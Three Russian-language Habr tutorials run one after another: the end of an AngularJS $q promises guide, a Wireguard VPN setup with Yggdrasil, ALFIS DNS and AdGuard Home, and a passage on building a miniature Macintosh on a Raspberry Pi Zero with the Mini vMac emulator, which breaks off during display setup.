return doSomethingAsync().then(function(res) {
return asyncManipulate(res);
});
}
```
Так же можно опустить обработку resolve, если нужно обработать только случай reject:
```
function asyncFunction() {
return doSomethingAsync().then(null, function(err) {
return errorHandler(err);
});
}
```
Кстати, для такого случая существует синтаксический сахар:
```
function asyncFunction() {
return doSomethingAsync().catch(function(err) {
return errorHandler(err);
});
}
```
#### 3. Попасть в reject обработчик можно только вернув $q.reject()
Код:
```
asyncFunction().then(function (res) {
// some code
return res;
}, function (res) {
// some code
}).then(function (res) {
console.log('in resolve');
}, function (res) {
console.log('in reject');
});
```
В данном примере, независимо от того как завершится функция `asyncFunction`, в консоли мы увидим 'in resolve'. Это происходит потому, что есть только один способ оказаться в reject обработчике — вернуть $q.reject(). В любых других случаях будет вызван resolve обработчик. Перепишем код так, чтобы видеть в консоли 'in reject', если `asyncFunction` вернет reject:
```
asyncFunction().then(function (res) {
// some code
return res;
}, function (res) {
// some code
return $q.reject(res);
}).then(function (res) {
console.log('in resolve');
}, function (res) {
console.log('in reject');
});
```
#### 4. finally не меняет результат promise
```
asyncFunction().then(function (res) {
importantFunction();
return res;
}, function (err) {
importantFunction();
return $q.reject(err);
}).then(function (res) {
// some resolve code
}, function (err) {
// some reject code
})
```
Если нужно выполнить код независимо от результата promise, используют finally обработчик, который вызывается всегда. Так же блок finally не влияет на дальнейшую обработку, так как он не меняет тип promise результата. Улучшаем:
```
asyncFunction().finally(function () {
importantFunction();
}).then(function (res) {
// some resolve code
}, function (err) {
// some reject code
})
```
Если finally обработчик вернет $q.reject(), то тогда следующим будет вызван reject обработчик. Способа гарантированно вызвать resolve обработчик нет.
#### 5. $q.all выполняет функции параллельно
Рассмотрим вложенные цепочки вызовов:
```
loadSomeInfo().then(function(something) {
loadAnotherInfo().then(function(another) {
doSomethingOnThem(something, another);
});
});
```
Функции `doSomethingOnThem` требуется результат выполнения обеих функций `loadSomeInfo` и `loadAnotherInfo`. И не имеет значения в каком порядке они будут вызваны, важно лишь чтобы функция `doSomethingOnThem` была вызвана после того как получен результат от обеих функций. Значит, эти функции можно вызвать параллельно. Но автор данного кода явно не знал про $q.all метод. Перепишем:
```
$q.all([loadSomeInfo(), loadAnotherInfo()]).then(function (results) {
doSomethingOnThem(results[0], results[1]);
});
```
$q.all принимает массив функций, которые будут запущены параллельно. Обещание, возвращаемое $q.all, будет вызвано, когда все функции в массиве завершатся. Результат будет доступен в виде массива `results`, в котором находятся результаты всех функций соответственно.
Таким образом, метод $q.all следует использовать в случаях, когда необходимо синхронизировать выполнение асинхронных функций.
#### 6. $q.when превращает все в promise
Бывают ситуации, когда код может зависеть от асинхронной функции, а может зависеть от синхронной. И тогда вы создаете обертку над синхронной функцией, чтобы сохранить порядок в коде:
```
var promise;
if (isAsync){
promise = asyncFunction();
} else {
var localPromise = $q.defer();
promise = localPromise.promise;
localPromise.resolve(42);
}
promise.then(function (res) {
// some code
});
```
В этом коде нет ничего плохого. Но есть способ сделать его чище:
```
$q.when(isAsync? asyncFunction(): 42).then(function (res) {
// some code
});
```
$q.when своего рода прокси функция, которая принимает либо promise либо обычное значение, а возвращает всегда promise.
#### 7. Правильная обработка ошибок в promise
Посмотрим на пример обработки ошибок в асинхронной функции:
```
function asyncFunction(){
return $timeout(function meAsynk(){
throw new Error('error in meAsynk');
}, 1);
}
try{
asyncFunction();
} catch(err){
errorHandler(err);
}
```
Вы видите здесь проблему? try/catch блок поймает только те ошибки, которые возникнут при выполнении функции `asyncFunction`. Но, после того как `$timeout` запустит свою callback функцию `meAsynk`, все ошибки которые там возникнут будут попадать в обработчик не перехваченных ошибок приложения (application’s uncaught exception handler). Соответственно, наш catch обработчик ничего не узнает.
Поэтому оборачивание асинхронных функций в try/catch бесполезно. Но что делать в таких ситуациях? Для этого асинхронные функции должны иметь специальный callback для обработки ошибок. В $q таким обработчиком является reject обработчик.
Переделаем код, чтобы ошибка оказалась в обработчике (используем описанный выше сахар `catch`):
```
function asyncFunction(){
return $timeout(function meAsynk(){
throw new Error('error in meAsynk');
}, 1);
}
asyncFunction().catch(function (err) {
errorHandler(err);
});
```
Рассмотрим еще один пример:
```
function asyncFunction() {
var promise = doSomethingAsync();
promise.then(function() {
return somethingAsyncAgain();
});
return promise;
}
```
У этого кода есть одна проблема: если функция `somethingAsyncAgain` вернет reject (а как мы уже знаем reject вызывается и в случаях когда падают ошибки), то код, вызвавший нашу функцию никогда об этом не узнает. Обещания должны быть последовательными, каждое следующее должно зависеть от предыдущего. Но в данном примере обещание разорвано. Чтобы исправить перепишем так:
```
function asyncFunction() {
return doSomethingAsync().then(function() {
return somethingAsyncAgain();
});
}
```
Теперь код вызывающий нашу функцию полностью зависит от итога выполнения функции `somethingAsyncAgain`, и все ошибки могут быть обработаны вышестоящим кодом.
Посмотрим на этот пример:
```
asyncFunction().then(
function() {
return somethingElseAsync();
},
function(err) {
errorHandler(err);
});
```
Казалось бы, что на этот раз все правильно. Но если ошибка упадет в функции `somethingElseAsync`, то она не будет никем обработана. Перепишем код так, чтобы reject обработчик был обособлен:
```
asyncFunction().then(function() {
return somethingElseAsync();
}).catch(function(err) {
errorHandler(err);
});
```
Теперь любая возникающая ошибка будет обработана.
#### **P.S.**
Сервис $q является реализацией стандарта [Promises/A+](http://promises-aplus.github.io/promises-spec/). Для более глубокого понимания рекомендую прочитать этот стандарт.
Так же стоит отметить, что реализация promise в jQuery отличается от стандарта Promises/A+. Тем кому интересны эти отличия могут ознакомится с [этой статьей](https://github.com/kriskowal/q/wiki/Coming-from-jQuery). | https://habr.com/ru/post/221111/ | null | ru | null |
# Wireguard VPN, Yggdrasil, ALFIS DNS и AdGuard
На написание этой статьи спровоцировала [вот эта статья](https://habr.com/ru/post/594877/), с кучей странностей, и необязательных действий. Если коротко, то автор не понимает зачем он ставит те или иные программы, а именно - Unbound и dnsproxy. Но так как кроме исправления недочётов той статьи хочется добавить чего-то полезного, мы несколько расширим возможности подключающихся к серверу клиентов.
Во-первых, несколько слов об [Yggdrasil](https://yggdrasil-network.github.io/). Это одноранговая сеть с адресами IPv6, которая по сути может считаться *новым слоем* сети Интернет. При установке и настройке у вас появляется новый сетевой интерфейс, который является окном в этот новый слой. Всё так же, как с обычным протоколом IPv6 - вы можете использовать его для удалённого подключения к своим устройствам без реального IPv4, для удалённого администрирования, размещения там каких-то ресурсов, например того же Nextcloud. Всё это находится как бы в глобальном пространстве общей приватной сети. Кто-то там разместил прокси-серверы для Telegram, которые нельзя заблокировать, кто-то выход в "большой" Интернет через сеть Tor. Там же есть несколько серверов для общения, вроде Mattermost, IRC и XMPP. [Статей](https://habr.com/ru/company/itsoft/blog/566072/) по [настройке](https://habr.com/ru/company/itsoft/blog/547250/) и [использованию](https://habr.com/ru/company/itsoft/blog/567012/) на Хабре уже достаточно.
Но что такое ALFIS? В сообществе криптохакеров ;) сети Yggdrasil есть некоторое количество никому не доверяющих людей, которые очень хотели иметь независимость от глобальной системы доменных имён, и мне пришлось написать систему, которая решает проблему синхронизации базы данных доменов без ненужного оверхеда. Как известно, проблема [Треугольника Зуко](https://ru.wikipedia.org/wiki/Треугольник_Зуко) не решалась полностью, до появления блокчейна. Но блокчейны бывают разные, и чаще всего обладают серьёзными недостатками вроде огромного размера блокчейна, потребности больших мощностей и так далее. Таким образом, собрав все требования в одном месте, приложив несколько месяцев работы, я представил сообществу [ALFIS](https://alfis.name/) - блокчейн минимального размера, и не растущий постоянно, который обеспечивает работу десяти альтернативных доменных зон.
Что такое AdGuard, а точнее [AdGuard Home](https://github.com/AdguardTeam/AdGuardHome), я рассказывать много не хочу. Если кратко, то это фильтрующий DNS сервер для малых сетей. Фильтрует лучше, чем всякие PiHole и подобные проекты, содержит свой очень крутой список правил, правила в котором сложнее, чем в обычных списках, и тем самым требуют меньше оперативной памяти и т.п. Например, там можно банить хосты по маске, вроде `*.adserver.com`.
Небольшой дисклеймер, чтобы было понятно почему я предлагаю настраивать Wireguard и Yggdrasil именно так, а не иначе. Ведь можно сделать по-другому, например установить только Yggdrasil, а где-нибудь на VPS поднять для себя прокси, и к тому прокси подключаться *через Yggdrasil*. Это тоже вариант. Но надо будет настраивать в каждом ПО использование прокси-сервера, а все сборки Yggdrasil под Android сейчас падают при отключении сети из-за ошибки в go-mobile. Так что, лучше на клиентах вроде Android OS, где одновременно может быть запущен только один VPN-интерфейс, просто установить и настроить только Wireguard. Он-то и будет обеспечивать ваше устройство и блокировкой рекламы, и выходом в Интернет без блокировок и перехвата трафика, и в "Интернет будущего" - Yggdrasil :)
Установка Yggdrasil на сервер
-----------------------------
Я предлагаю устанавливать ПО именно в таком порядке, сначала Yggdrasil, потом Wireguard, потом AdGuard Home. Чуть дальше поймёте почему.
Устанавливать лучше всего по официальным гайдам. На официальной странице есть всё, что нужно: <https://yggdrasil-network.github.io/installation.html>
Если у вас возникнут трудности, то придерживайтесь этих шагов:
1. Установить пакет Yggdrasil
2. Прописать 1-2 [публичных пира](https://github.com/yggdrasil-network/public-peers) в конфиг `/etc/yggdrasil.conf`
3. Включить службу, запустить службу (либо сразу `systemctl enable --now yggdrasil`)
4. Через пару секунд попробуйте попинговать один из адресов `302:db60::53` или `302:7991::53.`
5. Если не справились, то можно зайти в русскоязычный чат в Телеграм и спросить там помощи: <https://t.me/Yggdrasil_ru>
Установка Wireguard на сервер
-----------------------------
Как и автор предыдущей статьи, я предлагаю воспользоваться скриптом для установки Wireguard, но только другим, который обладает очень удобной особенностью - он спрашивает через какие интерфейсы выходить в сеть, и позволяет выбрать интерфейс Yggdrasil для хождения в IPv6 :)
1. `wget https://raw.githubusercontent.com/Nyr/wireguard-install/master/wireguard-install.sh`
2. `chmod +x wireguard-install.sh`
3. `./wireguard-install.sh`
В процессе установки ответьте на вопросы о сетевых интерфейсах, и выберите интерфейс `tun0` когда скрипт спросит про IPv6. Таким образом, этот скрипт пропишет нужные правила в ваш фаирволл (ip6tables), чтобы вы смогли получать доступ к узлам в Yggdrasil.
В принципе, уже сейчас вы можете запустить этот скрипт ещё раз, и выбрав пункт "Add a new client" создать конфиг для первого клиента. Вы можете отсканировать показанный QR-код приложением Wireguard на Android, и сразу же подключиться и проверить связь и ваш IP-адрес. Но мы ведь хотели что-то ещё сделать с рекламой, да? Да ещё и Альфис там этот...
Реклама, ALFIS и все-все-все (простой способ)
---------------------------------------------
Прямо сейчас в клиенте Wireguard вы можете прописать парочку серверов DNS из этого списка: 302:7991::53, 300:6223::53, 302:db60::53, и наслаждаться использованием доменных имён ALFIS и отсутствием рекламы. Весь ваш трафик шифруется проходя Wireguard, включая DNS. Зачем автор той статьи ставил DNSCrypt если и так есть шифрование до его VPS? А дальше трафик DNS у него шёл на обычный Unbound, странности.
Но в этом режиме ваш трафик DNS будет читать администратор тех серверов, если ему не лень. И он увидит ваш (о ужас!) IPv6, сгенерированный на вашем сервере.
Делаем сложно, и немного приватней и безопасней
-----------------------------------------------
Устанавливаем ALFIS как написано в [README](https://github.com/Revertron/Alfis) для вашей ОС. Конфиг будет по адресу `/etc/alfis.conf`. Там вы заметите, что его встроенный DNS-сервер слушает на адресе `127.0.0.1:53`, кроме того, там прописаны `forwarders` - это серверы, на которые ALFIS перекинет ваши запросы к обычным доменам. Там можно указать даже адреса DoH от того же AdGuard DNS, и закончить настройку (не забыв перекинуть его на 10.7.0.1:53) ;)
Если у вас на сервере что-то другое слушает на адресе `127.0.0.1:53`, то вы не сможете использовать этот адрес/порт. Вам надо, например, изменить в конфиге ALFIS'а хотя бы порт, например 5353.
После старта ALFIS, и немного подождав, можете проверить его работу, например `nslookup myip.ygg 127.0.0.1`, эта команда должна показать какую-то запись AAAA в диапазоне 200::/7.
Теперь берёмся за AdGuard Home. Идём на [GitHub проекта](https://github.com/AdguardTeam/AdGuardHome), и выполняем автоматическую установку, как написано в README. После этого заходим в web-gui по адресу вашего сервера, и настраиваем AdGuard Home, чтобы он слушал все интерфейсы, но в настройках доступа пропишите свой диапазон из VPN, например 10.7.0.0/24 (такой использует предложенный скрипт).
Чтобы AdGuard Home мог отправлять запросы на доменные зоны Альфиса в сам Альфис, надо в разделе Апстрим-серверов прописать строку: `[/anon/btn/conf/index/merch/mirror/mob/screen/srv/ygg/]127.0.0.1:5353`, кроме того, вы можете ещё и приобщиться к зонам OpenNIC, прописав там `[/bbs/chan/cyb/dyn/epic/geek/gopher/indy/libre/neo/null/o/oss/oz/parody/pirate/]51.254.25.115`. Ну или другой айпи, ближе к вашему серверу.
Заключение
----------
На этом этапе у вас уже будет рабочий VPN с современным шифрованием трафика, блокировка рекламы на уровне DNS (кстати, есть и другие уровни для более тщательной блокировки), поддержка независимых доменных зон ALFIS (а может и OpenNIC), и дикое желание куда-нибудь зайти в сети Yggdrasil ;)
Если желание есть, заходите на [sites.ygg](http://sites.ygg).
П.С. или немножко полезностей
-----------------------------
Для приятной работы в Yggdrasil (и с сайтами IPv6-only) в Firefox нужно сделать две настройки в `about:config`.
`network.http.fast-fallback-to-IPv4 = false` - это позволит нормально открывать IPv6-only сайты. `browser.fixup.alternate.enabled = false` - а это позволит выключить автоматическую подстановку домена `www`. Иногда Firefox сразу переключается на HTTPS вместо HTTP, вот это отключит такое поведение: `browser.fixup.fallback-to-https = false`.
Google Chrome не приспособлен к нормальной работе с сайтами IPv6-only. | https://habr.com/ru/post/595485/ | null | ru | null |
# Собираем Mac mini на Raspberry Pi Zero
[](https://habr.com/ru/topic/edit/545346/)
Несколько лет назад я увидел собранный Джоном Ликом из RetroMacCast [миниатюрный Macintosh](http://retromaccast.ning.com/profiles/blogs/honey-i-shrunk-the-computer), размер которого был в три раза меньше реального. Меня одолела зависть…Я очень хотел собрать аналогичный, но тогда был слишком ограничен в ресурсах. Однако время шло, и технологии не стояли на месте. Появление более компактных и дешевых компонентов существенно облегчило задуманный тогда проект, и в итоге он воплотился в жизнь.
Сегодня я подробно расскажу вам все детали этого процесса, чтобы и вы могли собрать себе такое же чудо. Единственный нюанс – это необходимость доступа к 3D-принтеру, остальные детали легко доступны.
Необходимое оборудование
------------------------
### Raspberry Pi
* Raspberry Pi Zero W. W-версия оснащена WiFi.
* 40-контактная гребенка.
* Теплоотвод (рекомендуется).
* Совместимый источник питания (желательно [модель со встроенным выключателем On/Off](https://smile.amazon.com/gp/product/B01N336XEU/)).
* Кабель mini HDMI — HDMI (для настройки).
На Amazon предлагается множество комплектов, в которых все это уже есть. Я использовал [этот](https://www.amazon.com/gp/product/B0748MPQT4/). Мини-корпус для Raspberry не обязателен, но будет не лишним и позволит защитить его в процессе сборки и настройки.
### Другие компоненты
* [ЖК-дисплей 640x480](https://www.amazon.com/gp/product/B07H8ZY89H/).
* [Короткий GPIO-шлейф мама-мама](https://www.amazon.com/Adafruit-Ribbon-Cable-Raspberry-Model/dp/B00N4AM84O/). Я взял 6-дюймовый экземпляр. Более длинный будет сложно втиснуть в корпус.
* Клавиатура и мышь. Клавиатура потребуется только для настройки, так что можно просто взять от подручного ПК, а вот беспроводная мышь пригодится в принципе.
* Небольшой [microUSB-хаб без питания](https://www.amazon.com/gp/product/B083WML1XB/).
* Монитор с HDMI-входом и соответствующим кабелем. Он понадобится только для начальной настройки.
* [MicroSD-карта на 32Гб](https://smile.amazon.com/gp/product/B06XWN9Q99/).
* Bluetooth-колонка (необязательно).
Обратите внимание, что проект реализован с конкретным дисплеем. Клавиатура нужна только для настройки и после можно будет ее отключить. Это уже будет зависеть от того, как вы планируете использовать готовый мини-Mac. А вот отдельная мышь определенно будет нужна.
### Для корпуса
* Винт под шестигранник M3 X 12мм – 3 шт. [Вот неплохой ассортимент](https://www.amazon.com/gp/product/B014OO5KQG/).
* Шестигранные гайки M3 – 3 шт.
* [Бежевая PLA-нить](https://www.amazon.com/gp/product/B071L3L6MC/).
* Изолента.
### Инструменты
* Шестигранный торцовый ключ 2.5мм. [Вот полный набор](https://smile.amazon.com/Bondhus-20199-Balldriver-L-Wrench-1-5-10mm/dp/B08XKBL44D/) под метрическую систему и под английский стандарт.
* Наждачная бумага с зерном 150.
Этап 1. Изготовление корпуса
----------------------------
Собирается он из четырех деталей. Все эти детали печатались с высотой слоя 0.20мм на принтере Prusa I3 MK3S. В качестве основы я выбрал гладкую пластину. Переднюю и заднюю части я спроектировал с учетом удобства последующего удаления поддержки. Это облегчило дальнейшую шлифовку.
* *MiniMacBack.stl* печатался на задней стенке с поддержкой только непосредственно над рабочим столом (Support on build plate only). Материал: бежевый PLA.
* *MiniMacFont.stl* печатался вертикально, для чего потребовался поддержка в режиме «Везде» (Everywhere), а также поля. Материал: бежевый PLA.
* *MiniMacDisk.stl* и *MiniMacToggle.stl* печатались без поддержки. Материал: черный PLA.
У *MiniMacFront.stl* есть дополнительная поддержка, идущая вдоль задней стенки. После печати она обрезается, а поверхность зашлифовывается.
После удаления всех поддержек переднюю и заднюю часть я обработал наждачной бумагой, стараясь стесать все неровности и сделать поверхность однородной. Отдельное внимание стоит обратить на передний край заготовки *MiniMacBack.stl*. Нам нужна гладкая поверхность, чтобы эта часть стыковалась с задней вплотную или с минимумом неровностей. Я не стал использовать более мелкую наждачку, так как ранние модели Mac как-раз изготавливались из текстурированного пластика. Если вы захотите покрасить детали, то на Instructables.com есть отдельное [руководство по сглаживанию PLA-изделий](https://www.instructables.com/How-to-Smooth-PLA-3D-Prints/).
Этап 2. Монтаж гаек
-------------------
После печати и шлифовки можно вставлять гайки. Для этого у нас заготовлено 3 штуки М3 под шестигранник. Два паза располагаются на внутренней «губе» и один в нижней части. Аккуратно расположите гайки вровень с пазами и небольшим усилием вдавите. Затем переверните корпус и еще раз продавите каждую гайку какой-нибудь твердой поверхностью. Постарайтесь, чтобы в итоге они оказались заподлицо с корпусом. При необходимости вкрутите с обратной стороны винт и осторожно подтяните гайку. Не прилагайте слишком много силы и постарайтесь не провернуть ее.
Теперь нужно прикрепить к основанию фиксатор для платы Raspberry Pi. Толстыми пальцами это будет сделать непросто. Вставьте винт M3x12мм с плоской стороны фиксатора и прикрутите его к основанию корпуса. Затем осторожно вставьте в винт шестигранный ключ и подтяните, но до конца не затягивайте. На одной из фотографии показан прикрепленный фиксатор и торцевая часть вставленного в него ключа. Плотность затяжки должна позволять повернуть его на 90 градусов, то есть с позиции 3 часа в позицию 6 часов. После установки Pi фиксатор мы повернем на 90 градусов против часовой стрелки к позиции 3 часа. В итоге он окажется сверху над краем Pi и после затяжки надежно его зафиксирует.
Этап 3. Подготовка «диска»
--------------------------
Отрежьте узкую полоску малярного скотча шириной 22мм. Я сделал это на твердой рабочей поверхности. Готовой полоской я осторожно обернул по центру макет диска и обрезал остатки канцелярским ножом. Затем я также аккуратно обрезал внутренний нахлест скотча (см. фото). Так диск будет выглядеть более естественно. После я слегка вдавил вставку с обратной стороны. Если паз окажется слишком узким, осторожно подшлифуйте края наждачкой. В идеале макет должен входить плотно. Если же он, наоборот, будет болтаться, то можно зафиксировать его буквально каплей суперклея. Обратите внимание на фотографии.
Этап 4. Настройка Raspberry Pi Zero
-----------------------------------
Перед настройкой наш Raspberry Pi Zero W нужно подготовить. Если по умолчанию он не оснащен 40-контактной гребенкой ввода/вывода, то потребуется ее припаять. Опять же, на сайте Instructables есть [инструкция по пайке](https://www.instructables.com/How-to-solder/). Если для вас это затруднительно, то следует сразу купить Pi с уже установленной гребенкой. На этой же стадии мы крепим теплоотвод.
Я не буду описывать процесс записи операционной системы PI на SD карту. Программы для загрузки образа находятся на [сайте Raspberry](https://www.raspberrypi.org/software/) вместе с инструкциями. Дополнительно можно посмотреть [видео](https://www.youtube.com/watch?v=J024soVgEeM). Скажу лишь, что нужно использовать рекомендованную ОС, так как вам понадобится система с графическим UI.
После подготовки карты с ОС вставьте ее в Raspberry Pi Zero W и подключите монитор с помощью HDMI-адаптера. У Pi один microUSB порт выделен для питания и один для данных. В этом случае нужно использовать второй. Присоедините к хабу клавиатуру и мышь, после чего подключите питание.
Сначала идет этап начальной настройки. Выберите *Country*, *Language*, *Timezone* и *Keyboard*. Далее система попросит придумать пароль. Мы включим удаленный доступ по *SSH*, использовать который без хорошего пароля не рекомендуется. Выберите сеть и введите ее пароль. Далее на определенной стадии нужно будет обновить систему, на что уйдет какое-то время.
Теперь нужно внести изменения в настройки по умолчанию. Нажмите иконку *Raspberry* в левом верхнем углу. Выберите *Preferences -> Raspberry Pi Configuration*. В диалоговом окне перейдите во вкладку *Interfaces* и выберите *Enable SSH*. Нажмите *OK*, чтобы закрыть окно.
По завершению обновления нажмите *Restart*.
Этап 5. Укомплектовка ПО
------------------------
Хочется отметить немаловажный труд Пола К. Прэтта, создателя [Gryphel Project](https://www.gryphel.com/index.html). Он реализовал проект по сохранению ПО, разработанного для ранних компьютеров Macintosh. Пол создал эмуляторы для работы в нескольких разных средах: MacOS, Windows 10 и Linux, включая вариант для процессоров ARM, используемых в Raspberry Pi. Для загрузки доступно несколько стандартных версий таких эмуляторов. Помимо этого, он предлагает сервис для создания специализированных версий, которым я и воспользовался, так как под наши требования готовые варианты не подходят.
Можно скачать все файлы непосредственно на Pi Zero, но имейте в виду, что это будет очень медленно. Данный девайс для подобных задач слабоват. Другой вариант – скачать файлы на ПК, и перенести файлы через терминал с помощью утилиты *scp* или программы для *FTP*. Я использую [CyberDuck](https://cyberduck.io/download/), которая доступна и для Mac, и для Windows.
### Сборка файлов
Создайте на жестком диске каталог *Mini\_vMac*, куда нужно будет поместить все файлы. Этот каталог затем вы скопируете на Pi.
С помощью сервиса Gryphel я создал 2 исполняемых файла ARM. Можете скачать их с [моего ящика на dropbox](https://www.dropbox.com/s/89g3pumrftrw6ly/Pi_ececutables.zip?dl=0). Первый файл, *Mini\_vMac\_ARM* запускает программу в полном разрешении экрана, а второй, *Mini\_vMac\_ARM\_2x* удваивает пиксели для более отчетливого отображения. Поместите эти файлы в каталог *Mini\_vMac*.
Вам понадобится образ ПЗУ, который можно скачать [отсюда](http://hampa.ch/pub/software/ROM/Macintosh%2068K/). Берите файл *9779D2C4 — Macintosh II.7z*. Распакуйте его и переименуйте в *MacII.ROM*, после чего поместите в тот же каталог *Mini\_vMac*.
На [ToughDev](http://www.toughdev.com/content/) есть отличное [руководство](http://www.toughdev.com/content/2008/06/system-7-5-5-on-mini-vmac/) по установке системного ПО для Mini vMac. [Оттуда](http://www.toughdev.com/content/2008/06/system-7-5-5-on-mini-vmac/) мы и скачаем файлы (ссылка будет расположена чуть ниже в середине страницы).
После скачивания распакуйте архив, и у вас получится каталог сжатых файлов под названием *old\_mac\_softs*. Их тоже нужно распаковать. При этом файл *hfs500M.dsk*, извлеченный из *hfs500M.rar*, следует переименовать в *disk1.dsk*. Это будет виртуальный жесткий диск. Если диски правильно проименованы, то *Mini vMac* монтирует их автоматически. Не обращайте внимание на *hfv500M\_sys755\_clean.dsk*. Это образ с установленным ПО системы, но нас он не интересует.
Переместите в каталог *Mini\_vMac* следующие файлы:
* *disk1.dsk*, образ жесткого диска 500M;
* *Mac701*, каталог, содержащий 6 образов дисков;
* *mac753.img*, установочный диск Mac OS 7.5.3;
* *mac755up.img*, установочный диск Mac OS 7.5.5.
Этап 6: Перенос файлов на Pi с помощью CyberDuck
------------------------------------------------
Запустите CyberDuck. Сначала нужно создать ссылку на Pi. Обратите внимание на первое фото. В нижней левой части экрана нажмите **+** для добавления закладки (*Bookmark*). Во всплывающем диалоговом окне измените протокол на *SFTP*. В качестве имени сервера введите `raspberrypi.local`. В поле имени пользователя укажите *pi*. Далее введите установленный при настройке Raspberry пароль. Закройте окно.
Дважды кликните по созданной закладке – должно произойти подключение к Pi. Теперь можно передавать файлы. Нас интересуют:
* *Mini\_vMac\_ARM* – версия 640x480, скачанная с Dropbox;
* *Mini\_vMac\_ARM\_2x* – версия 320x240, также скачанная с Dropbox;
* *MacII.ROM*, скачанный из репозитория ПЗУ и переименованный;
* *disk1.dsk*, образ жесткого диска 500M;
* Каталог *Mac701*, содержащий 6 образов дисков для установки системы 7.0.1;
* *mac753.img*, установочный диск Mac OS 7.5.3;
* *mac755up.img*, установочный диск Mac OS 7.5.5.
Используя CyberDuck, дважды кликните по закладке. Если появится окно с вопросом о предоставлении разрешения — одобрите. Далее откроется подключение к Pi. Перед вами будет список каталогов и файлов в директории */home/pi/*. Откройте каталог *Desktop*.
Нам нужна новая директория. Создайте ее через контекстное меню и назовите *Mini vMac*. Откройте эту директорию и перетащите в нее все перечисленные выше элементы. На этом этап копирования завершен.
Этап 7. Настройка Mini vMac на Pi
---------------------------------
Теперь мы переходим к Raspberry Pi. На рабочем столе у вас должен быть каталог *Mini vMac* со следующими файлами:
* *Mini\_vMac\_ARM*;
* *Mini\_vMac\_ARM\_2x*;
* *MacII.ROM*;
* *disk1.dsk*;
* каталог *Mac701* с 6 образами дисков;
* *mac753.img*;
* *mac755up.img*.
Исполняемый файл *Mini\_vMac\_ARM* работает с нативным разрешением дисплея 640x480. Рабоатать с мелкими изображениями может быть не очень удобно, но смотрится круто. Версия *Mini\_vMac\_ARM\_2* работает с вдвое меньшим разрешением 320x240. В этом случае все видно куда лучше, но не для каждой программы оно подойдет.
Сначала нужно разобраться с этими исполняемыми файлами. Выберите их, нажмите правой кнопкой и зайдите в пункт *Properties*. Далее перейдите во вкладку *Permissions* и измените *Execute* на *Everyone*.
Чтобы упростить настройку мы будем делать ее для версии с нативным разрешением. Поскольку изменения будут вноситься в образ жесткого диска, то настройка одного файла сработает и для второго. В последствии же вы сможете запускать любой вариант.
Дважды кликните по *Mini\_vMac\_ARM* и выберите *Execute*. Окно развернется на весь экран, и вы увидите мигающую иконку диска. Для выхода из полноэкранного режима нажмите *Ctrl+F*.
Обратите внимание, что *Mini vMac* содержит ряд параметров управления, список которых можно вызвать через нажатие *Ctrl+H*. За более подробной информацией обратитесь к документации.
Откройте каталог *Mac701* на Pi и перетащите *Install1.image* в окно *Mini vMac*. В результате диск смонтируется, и загрузится экран установки.
Вернитесь к Pi и, перейдя на уровень каталогов выше, перетащите *disk1.dsk*. На экране должно возникнуть уведомление об установке *Mac500M*. Выберите *Install*.
В процессе установки система попросит вставить *Install2.image*, сделайте это и далее аналогичным образом вставьте все оставшиеся диски. По завершении выйдите из режима установки (*Quit*) и выберите *Restart*.
Появится мигающая иконка диска. Снова перетащите в окно *disk1.img*, после чего загрузится система 7.0.1.
Примечание: для *Shutdown/Quit* всегда нужно переходить в меню *Special* и выбирать *Shutdown*.
Этап 8. Дополнительный апгрейд системы
--------------------------------------
Вы можете остановиться и на этом этапе, так как у вас уже будет рабочая система Mac 7.0.1.
Если же вы захотите обновить ее до версии 7.5.3, то перетащите в эмулятор *mac753.img*. В открывшемся окне нового диска дважды кликните по файлу *System 7.5.3 01 of 19.smi*. Программа проверит и смонтирует виртуальный диск.
Этот диск отобразится на рабочем столе как *System 7.5 V7.5.3. CD inst*. Дважды кликните по этому образу и в открывшемся диске запустите *Installer*, следуйте инструкциям. Примите последующее предложение *Restart*. Перетащите в эмулятор *disk1.dsk*.
Для последующего перехода с версии 7.5.3 в 7.5.5 перетащите *mac755up.img*, откройте диск, перейдите в каталог *System 7.7.5 Update* и запустите *Installer*, после чего следуйте инструкциям.
Этап 9. Добавление ПО
---------------------
### Несколько сайтов с ПО
* [Архивы для Mini vMac](https://sites.google.com/site/minivmacapplicationsv6/home)
* [My Abandonware Mac](https://www.myabandonware.com/browse/platform/mac/)
* [Macintosh Repository](https://www.macintoshrepository.org/)
Монтировать диски в *Mini vMac* можно двумя способами:
1. Перетаскивая *.DSK* или *.IMG* файл в окно.
2. Изменив имя *.DSK* файла. Диски монтируются по порядку, и эмулятор будет искать их соответственно. Вы уже видели пример этого при изменении имени образа жесткого диска *disk1.DSK*. Важно отметить, что если в нумерации будет разрыв, то автоматическое монтирование на нем остановится. То есть, если у вас есть *disk2.DSK* и *disk4.DSK*, но отсутствует *disk3.DSK*, то монтирование остановится на *disk2.DSK*.
Поскольку мы будем копировать файлы на жесткий диск, нам не понадобится каждый раз монтировать новые диски. Я буду использовать первый метод.
Если вы находитесь в полноэкранном режиме – выйдите из него, нажав *Ctrl+F*. Перетащите образ диска в окно приложения, и он появится на рабочем столе. (Для извлечения образа нужно перетащить его в корзину). В случае с простым приложением или игрой нужно просто перетащить иконку *Disk* на жесткий диск. В результате будет создана директория с именем диска, содержащая иконку для запуска приложения.
### Пример с игрой
Я буду устанавливать [Lemmings](https://www.macintoshrepository.org/software_search.php?s=lemmings&sid=&p=1), для чего заранее скачал архив *lemmings\_1\_5\_2.zip*. Кстати, по опыту рекомендую избегать *.SIT* файлов и стараться находить *.DSK* или *.IMG*. Это упростит работу.
Я распаковал архив и перетащил образ диска в эмулятор. После появления иконки диска на рабочем столе нужно просто перетащить этот образ на жесткий диск, где все файлы будут скопированы в новый каталог. Далее останется только открыть этот каталог и запустить программу.
### Экранная заставка
Я выбрал заставку [After Dark](https://www.macintoshrepository.org/839-after-dark-2-0), и в качестве установочного файла взял *After Dark 2.0x (1993)* для эмуляторов, поскольку нас интересуют именно zip-архивы или файлы *DSK/IMG*. Я распаковал архив и с помощью CyberDuck поместил файл *.img* в одну директорию с приложением *Mini vMac*. Опять же, нужно перетащить образ диска в эмулятор для монтирования диска. Далее перетащите приложение *After Dark 2.0x* и сопутствующий каталог в директорию *System/Control Panels*. Выполните *Restart* и перетащите образ *disk1.dsk* обратно в окно *Mini vMac*. Можете настраивать заставку.
Этап 10. Настройка VGA-экрана
-----------------------------
На этом этапе я советую вам сначала сделать резервную копию SD-карты.
Помните, что данная настройка заточена именно под выбранный мной дисплей.
Его производитель прилагает PDF-руководство по работе с ПО, где также прописана инструкция по деинсталляции.
Я приведу самое необходимое.
Откройте на Raspberry Pi новое окно терминала и введите:
```
cd ~/
git clone https://github.com/tianyoujian/MZDPI.git
cd MZDPI/vga
